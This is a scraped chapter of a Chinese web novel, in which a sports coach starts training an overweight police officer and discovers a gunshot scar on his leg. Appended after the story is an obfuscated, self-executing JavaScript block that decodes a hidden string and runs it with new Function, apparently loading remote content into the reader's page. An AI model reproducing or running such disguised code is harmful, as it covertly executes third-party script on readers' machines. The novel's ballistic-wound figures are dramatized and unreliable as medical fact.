(手机请访问 m.duxs8.com); 次日上午，李戴终于见到了自己未来两周的搭档，也是他要训练的对象。
“你好，我叫林冲。”这名受训的警官率先自我介绍道：“和《水浒传》里的豹子头重名。”
“我叫李戴。很高兴可以和你合作。”李戴伸出了右手，同时打量着对方。
这是一个三十五岁左右的中年人，长的很普通，有些微胖，穿着一件军绿色的运动t恤，下身是迷彩裤和运动鞋，猛然的望去是那种放到人堆里绝对不会引人注意的人，感觉上应该非常好相处。
三十四五岁年纪的男性是最容易发胖的，生活习惯方面稍微一不留神，啤酒肚就起来了。
“李教练很年轻啊。”林冲也在打量李戴，他早已经知道这次的教练都是些年轻人，但真正见到李戴以后，还是为他的年龄而感到惊讶。
李戴则开口说道：“林警官，除去周末的话，我们实际上只有十天的训练时间，时间上是比较紧的，所以我建议，我们不要浪费时间，从现在就开始训练，怎么样？”
“好，我没有问题，现在就可以开始训练。”林冲点了点头。
“今天是第一天，我们不会进行太高强度的训练，不过我事先得说明一点，晚上的饮食，你需要注意一下，我认为你现在应该控制一下体重。”李戴直言不讳的接着道：“以你现在的体重，会影响到你体能测试补考的成绩。”
林冲略微尴尬的点了点头，他也知道自己的体重的确是有些超标了。
“所以今天的训练，我们以有氧运动的训练为主，有氧运动是减肥的一种好方法，而且只要是能坚持下去，也不容易反弹。”李戴开口解释道。
“李教练，你是专业的体育教练，我听你的。”林冲毫不犹豫的说道。
“那在此之前，我们先做一下热身运动，正规体育训练之前，都是要做热身运动的，这样既可以避免身体受伤，又可以让身体在正式的训练中尽快的进入到状态，训练也会起到更好的效果。”李戴继续解释。
林冲表情微微一僵，随后默认的点了点头。
李戴心中不免觉得有些可惜，因为林冲并不是运动员，所以无论是减肥操还是减脂操，对于林冲来说都没有任何的效果，否则的话通过减肥操，林冲可以迅速的瘦下来。
不过作为专业的体育教练，李戴还是有两把刷子的，并不是离开了减肥操，自己什么都不会，像是各种的热身运动套，李戴肯定是无比的熟悉，完全是信手拈来。
短暂的热身运动后，开始进入到正式训练的阶段，正如李戴所说，训练刚开始的时候，训练的强度并不是很大，相比较起来，李戴更希望林冲可以尽快的进入到训练状态当中，只有当身体开始逐渐的熟悉了训练的感觉，训练加码才变得更有意义。
有氧运动的方式无非就是慢跑、游泳和骑自行车，后面两种有氧运动缺乏硬件的支持，所以慢跑成了林冲第一天训练的主要方式。
林冲刚开始表现的还非常不错，但随着训练时间越来越长，他总是忍不住要停下来休息片刻，弯下腰揉一揉自己的双腿。
刚开始李戴还以为，林冲因为长时间没有运动，所以身体不适应，腿部的**酸积压，会出现酸痛的症状，然而仔细的观察了一阵子，李戴却发现好像并不是那么回事。
“林冲跑动的姿势好像有些异常，一步重一步轻，像是失去了平衡一样，正常的人哪有这样跑的，他这样子，反倒像是个瘸子。怎么回事？不会是不小心扭到了吧！”
李戴想到这里，开口喊道：“停，停一下！”
“李教练，怎么了？”林冲开口问道。
“你是不是扭到脚了？”李戴开口问道。
“没，没有，没有扭到！我这不是好好的嘛。”林冲的表情很自然，同时还刻意的使劲扭动了一下脚踝。
“可是我觉得，你跑步的姿势和刚才不一样了。”李戴接着说道。
“鞋里进了沙子，磨脚！不碍事的。”林冲一边说着，一边将鞋子脱下来，对着外面抖了抖。
“我是教练，我不希望我的运动员因为训练而受伤。”李戴话音顿了顿，然后才接着说道：“除此之外，运动康复也是我的比较擅长的地方。如果你真的觉得哪里不舒服的话，一定要告诉我。”
这下子反倒是轮到对面的林冲犹豫起来。
林冲低着头，沉默了足足十几秒钟，这才开口说道：“李教练，我也不瞒你了，我腿上有伤！不过我腿上有伤的事情，希望你能够帮我保密。”
“是什么样的伤？我能看看么？”李戴开口问道。
林冲先是警惕的望了望周围，发觉没有人注意自己，这才拉着李戴到一旁坐下，掀开了了裤腿，露出了自己的右腿。
李戴低头望去，发现林冲的右腿上，有一处长长的疤痕，有缝针的痕迹，在疤痕的正中间，皮肤的都已经变了颜色，仿佛是被灼烧了一般，整个伤疤的直径足足有十厘米，看起来触目惊心。
“这是？”李戴不解的问，他从来没有见过这种伤疤，不是被利器割伤，有点像撞击伤痕，也有点像烧伤。
林冲将自己的裤腿放下了，接着说道：“这是枪伤。”
“原来是枪伤！”李戴下意识的点了点头，这个枪伤和他在电视剧中看到的那些枪伤完全不一样。电视剧里面的枪伤疤痕，只是一个小圆圈，而他现在看到痕迹可不仅仅是一个小圆圈那么简单，而是一片面积巨大的伤痕。
事实上真正的枪伤的确不是电视剧中看到的那种一个小圆圈，现代武器那么厉害，那种小圆圈疤痕多半是小口径武器发射后，子弹弹射伤害流下的疤痕，正面击中的话，伤势肯定严重得多。
口径稍微大一些的子弹直接命中的话，打中左胸必死无疑，打中右胸和腹部，也有七成的死亡率，打中四肢的话，七成的概率是要截肢的。假如一颗7.62mm口径的步枪子弹以850米/秒的速度射入人体，最起码会造成伤口直径12厘米以上的伤情，打在头上的话基本上会掀飞三分之一的头盖骨。
如果是穿了防弹背心的话，也相当于是被一个8磅的大锤击中，断几根肋骨是再正常不过的了；而如果击中头盔的话，头盔的变形也会使得颅骨发生骨折。
“自己才是真正的枪伤啊，电视剧都是骗人的！今天算是长见识了，这才是真正的枪伤。”李戴心中默默叹道。
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();